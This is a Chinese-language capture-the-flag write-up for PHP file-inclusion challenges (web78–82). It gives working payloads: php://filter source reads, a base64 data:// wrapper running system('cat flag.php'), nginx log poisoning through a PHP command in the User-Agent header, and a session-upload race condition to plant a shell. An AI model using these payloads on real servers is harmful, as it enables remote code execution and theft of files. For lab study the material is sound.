文章目录
web78
web79
web80-81
web82
web78
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
第一题是最基础的文件包含,直接上payload
payload:
?file=php://filter/convert.base64-encode/resource=flag.php
得到base64加密的字符串,解密后即可得到flag
web79
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
这题过滤了php,可以用data伪协议
payload:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
后面base64加密的内容是<?php system("cat flag.php");?>,这样即可成功绕过php被过滤。flag因为是php文件,所以在注释里
web80-81
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
这题因为把php和data都ban了,所以需要日志包含,这个Linux的日志文件路径是/var/log/nginx/access.log,要在用文件包含漏洞读取日志文件的同时,修改ua头为我们想要执行的命令(burp中go要点两次才能执行命令,且操作一定不能出问题,如果报错就要销毁容器从头再来)
payload:
?file=/var/log/nginx/access.log
User-Agent: <?php system('ls'); ?>
User-Agent: <?php system('cat fl0g.php'); ?>
web82
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
这题又过滤了.,日志包含的方法就不能用了(access.log),去看大佬的wp,他们的做法把我看傻了(不愧是大佬),需要用到条件竞争。原理可以去看利用session对话进行文件包含利用原理,具体的过程可以去看NPFS大佬的利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含,他写的超级详细。
我说一说自己的理解吧:
简要的选取一些内容粘贴过来:
session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。
问题来了,默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空
用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag”。即使此时用户没有初始化Session,PHP也会自动初始化Session,并产生一个键值.
对于第一点,正好它生成的临时文件里用的是_,可以将想要执行的命令<?php system('ls');?>写入这个文件;
但是,再看第二点,文件上传后,生成的临时文件会立即清空,也就是说以我们的速度是不可能读取的到,那么,就需要借助条件竞争漏洞了。
条件竞争:假设攻击者上传了一个用来生成恶意shell的文件,在上传完成和安全检查完成并删除它的间隙,攻击者通过不断地发起访问请求的方法访问了该文件,该文件就会被执行,并且在服务器上生成一个恶意shell的文件。至此,该文件的任务就已全部完成,至于后面发现它是一个不安全的文件并把它删除的问题都已经不重要了,因为攻击者已经成功的在服务器中植入了一个shell文件,后续的一切就都不是问题了。
文件上传前端代码:
首先,在上传完文件后抓第一个包,发送到爆破模块,这个包用来上传PHP_SESSION_UPLOAD_PROGRESS文件(省略ls步骤):
然后再抓题目容器的包,发到爆破模块,这个包用来请求临时文件:
下面是条件竞争的一般步骤:
再将线程调为25,两个一起开始爆破。
emmmm,到这里容器过期了,强行用大佬的图片来收尾吧: